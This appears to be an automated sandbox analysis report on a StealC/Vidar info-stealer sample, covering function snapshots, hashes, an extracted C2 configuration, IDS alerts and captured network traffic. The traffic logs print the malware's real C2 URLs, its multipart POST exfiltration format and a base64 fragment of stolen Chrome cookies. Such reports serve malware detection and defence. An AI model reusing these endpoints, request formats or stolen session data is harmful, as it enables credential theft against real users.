Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: d510e9f2e9f33708665166878a9df85a53cd1eb8bd9ee91866f7b9bed8def636
Instruction ID: e0f7e0d722592a3b05be43316998428a95513bcd37c43f61b7972fc5a7532673
Opcode Fuzzy Hash: d510e9f2e9f33708665166878a9df85a53cd1eb8bd9ee91866f7b9bed8def636
Instruction Fuzzy Hash: F4F0B4329C4310EBD722BBB8590BB4D33A0AF00720F24414AF504A61D2DF7C59419F6A

Function 6C61BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C61BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61BE8F

Strings

0, xrefs: 6C61BE5B

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 6259da0d18f8369364d49f8d8d00216c8ad35067216078adf7ecb8187de0c297
Instruction ID: f7a72db0fdda872e29671b24a753285496f2e39732c0a38099a0bd092d6c7226
Opcode Fuzzy Hash: 6259da0d18f8369364d49f8d8d00216c8ad35067216078adf7ecb8187de0c297
Instruction Fuzzy Hash: 63418DB190D745CFC701CF39C481A9BB7E4AFCA389F008A1DF985A7B11D73099598B8A

Function 6C653CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C653D19
mozalloc_abort.MOZGLUE(?), ref: 6C653D6C

Strings

d, xrefs: 6C653D58

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 34badb420bdc94f0494b103391046214f68c3b41ffb62587cdbcee95b2524be4
Instruction ID: 6f8c90e964b9c7d1810b996aa02c5773c56a3b033d3c3e2b9ebe134de8d27a3c
Opcode Fuzzy Hash: 34badb420bdc94f0494b103391046214f68c3b41ffb62587cdbcee95b2524be4
Instruction Fuzzy Hash: AD110431E04689D7DB018F6AC8544EDB7B5EF87718F948329ED459B602EB30A594C3A8

Function 6C626C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kel,?,6C654B30,80000000,?,6C654AB7,?,6C6143CF,?,6C6142D2), ref: 6C626C42

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

moz_xmalloc.MOZGLUE(0Kel,?,6C654B30,80000000,?,6C654AB7,?,6C6143CF,?,6C6142D2), ref: 6C626C58

Strings

0Kel, xrefs: 6C626C33, 6C626C41, 6C626C57

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kel
API String ID: 1967447596-4046386957
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 4d344bf75a9afb14a48e357c5df6f25fd26c965ac24b25ee9f56862d748ab6ca
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: EFE086F1B105055AAB08A97D9C0A56B71C88B153A87044A35E823D6BC8FA9CE5508A9D

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.770000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.770000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll_	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpW	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dlla	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/Z	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpZ	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpom	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/C	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll(	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php6	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpwser	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpla	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00779B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00779B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0077C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00777240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00777240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00779AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00779AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00788EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00788EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C626C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 35 39 39 36 33 39 34 41 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 2d 2d 0d 0a Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="hwid"A85996394A222838420810------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="build"doma------GIEHJKEBAAEBGCAAEBFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="message"browsers------ECFCBKJDBFIJKFHIIDAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="message"plugins------GIIIIJDHJEGIECBGHIJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="message"fplugins------FIIEHJDBKJKECBFHDGHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKHost: 185.215.113.37Content-Length: 6555Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIEHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBGHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file"------IJECAEHJJJKJKFIDGCBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="file"------EBFHJEGDAFHIJKECFBKJ--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFCAAEGDBKJJKECBKFHHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
